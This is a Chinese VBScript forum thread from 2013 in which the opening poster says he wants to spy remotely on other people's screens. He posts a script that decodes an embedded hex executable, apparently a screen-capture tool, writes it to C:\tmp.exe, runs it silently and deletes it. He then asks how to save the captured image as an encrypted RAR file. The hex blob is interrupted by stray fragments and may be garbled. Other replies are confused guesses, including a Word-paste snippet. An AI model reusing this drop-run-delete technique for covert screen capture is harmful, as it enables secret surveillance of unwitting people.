我突然又有了奇思妙想！用VBS远程偷窥别人的屏幕！ - vbs吧

level 7

Or_风味屠夫楼主

截图代码已经写好了，但是不知道怎么把剪贴板中的图片变成文件并加密成RAR。
data = "4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000C00000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000450E6EDA016F0089016F0089016F0089016F0189006F008963701389026F0089E9700B89006F008952696368016F008900000000000000000000000000000000504500004C01010017E773460000000000000000E0000F010B01060000000000000400000000000080110000001000000010000000004000001000000002000004000000000000000400000000000000002000000002000000000000020000000000100000100000000010000010000000000000100000000000000000000000F012000028000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000080000000000000000000000000000000000000000000000000000002E646174610000003A030000001000000004000000020000000000000000000000000000400000C0000000000000000000000000000000000000000000000000000000000000000020
13000000000
0004D657373616765426F784100476574436F6D6D616E644C696E6541006B657962645F6576656E74004578697450726F6365737300467265654C696272617279004C6F61644C6962726172794100000000757365723332000053637265656E4361746368204279205368696C7978000000B3C9B9A6BDABD7A5CDBCB1A3B4E6B5BDCFB5CDB3BCF4CCF9B0E5000000000000000000000000000083EC0C535556578B7C24208B473C03C78
13850450000
0F858E0000008B48788B44392003CF03C7894C2418C7442420000000008B491885C9894C2414766C8B6C2424894424248A4D008BD181E2FF00000089542410EB048B5424108B008BCD8D343833C08A062BC275248A55002BF584D274178A51014133C08BDA8A040E81E3FF0000002BC374E7EB0485C074268B4C24208B4424248B5424144183C0043BCA894C24208944242472AD5F5E5D33C05B83C40CC38B4424188B5424208B48248B401C8D0C5133D2668B14398D0C908B043903C75F5E5D5B83C40CC39090909090558BEC81EC48010000535657B906000000BE781040008D7DBCF3A566A5A4B905000000BE601040008D7DD8A158104000F3A5668B0D5C1040008A155E10400066A58945F466894DF88855FAC745FC0000000064A1
18000000894
5FC8B45FC68481040008B48308B510C8B420C8B088B118B721856E8A7FEFFFF683C104000568BF8E89AFEFFFF6830104000568945FCE88CFEFFFF83C4188945F08D45F450FFD78BD8682410400053E873FEFFFF8B3D0010400083C4086A006A006A006A2CFFD76A006A026A006A2CFFD7681410400056E84BFEFFFF8BD0B94000000033C08DBDB9FEFFFFC685B8FEFFFF0083C408F3AB66ABAAFFD28BF883C9FF33C08D95B8FEFFFFF2AEF7D12BF98BC18BF78BFAC1E902F3A58BC833C083E103F3A48DBDB8FEFFFF83C9FFF2AEF7D1498A8C0DB7FEFFFF80F973742180F953741C680810400053E8DAFDFFFF83C4088D4DD88D55BC6A4051526A00FFD053FF55FC6A00FF55F05F5E5B8BE55DC3909090909090909090
18130000000
00000000000002E
13000000100
000000000000000000000000000000000000000000020
13000000000
000AA026B657962645F6576656E74005553455233322E646C6C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"
TargetFileName = "C:\tmp.exe"
With CreateObject("ADODB.Stream"):.Type = 1:.Open:.Write StrToByte(data):.SaveToFile TargetFileName, 2:.Close:End With
WScript.CreateObject("WScript.Shell").Run TargetFileName & " /s",,true
WScript.CreateObject("WScript.Shell").Run "cmd /c del " &TargetFileName,vbhid
Function StrToByte(str)
Set xmldoc = CreateObject("Microsoft.XMLDOM")
xmldoc.loadXML "<?xml version=""1.0""?>"
Set pic = xmldoc.createElement("pic")
pic.dataType = "bin.hex"
pic.nodeTypedValue = str
StrToByte = pic.nodeTypedValue
End Function

2013年01月10日 11点01分 1

level 7

Or_风味屠夫楼主

这段把截屏图片放在剪贴板，但是怎么弄出来啊啊啊啊！！！
@丶我不是本人 @kekxv

2013年01月10日 11点01分 2

Kirara🍄

搞不清楚~ 代码都没看懂

2013年01月11日 03点01分

Or_风味屠夫

回复丶我不是本人 :这不是问题问题是把剪贴板中的图片拿出来变成文件

2013年01月11日 07点01分

level 12

ou_130

你保存为png图片，“发表回复”上这个“图片”点他上传就是了

2013年01月10日 12点01分 3

Or_风味屠夫

不懂。。

2013年01月10日 12点01分

level 12

ou_130

点他，把内涵图上传上去，

OK！

2013年01月10日 12点01分 4

Or_风味屠夫

你压根不懂我意思我是说我做的程序截的图怎么变成文件

2013年01月10日 13点01分

ou_130

内涵图是吧！图片里有文件，是吗？

2013年01月10日 14点01分

Or_风味屠夫

回复 ou_130 :。 [气愤]

2013年01月11日 11点01分

level 8

kekxv

复制到Word文档中可以吗？
Dim ObjWD
Dim ObjDOC
Dim counti
Set WshNetwork=CreateObject("WScript.Network")
Set ObjWD=CreateObject("Word.application")
ObjWD.Visible=True
ObjWD.Documents.Add
Set ObjDOC=ObjWD.ActiveDocuments
ObjWD.WindowState=1
wscript.createobject("wscript.shell").sendkey "^v"
那一长段数字是加密过得吧，有源码的活发出来吧

2013年01月10日 13点01分 5

Or_风味屠夫

源码我也没用，是一个论坛上的 word如果没装不完蛋了--

2013年01月10日 13点01分

Or_风味屠夫

源码我也没用，是一个论坛上的[$1]word如果没装不完蛋了--

2013年01月10日 13点01分

kekxv

好像是，其实我也不知道怎么弄

2013年01月10日 14点01分

kekxv

好像是，其实我也不知道怎么弄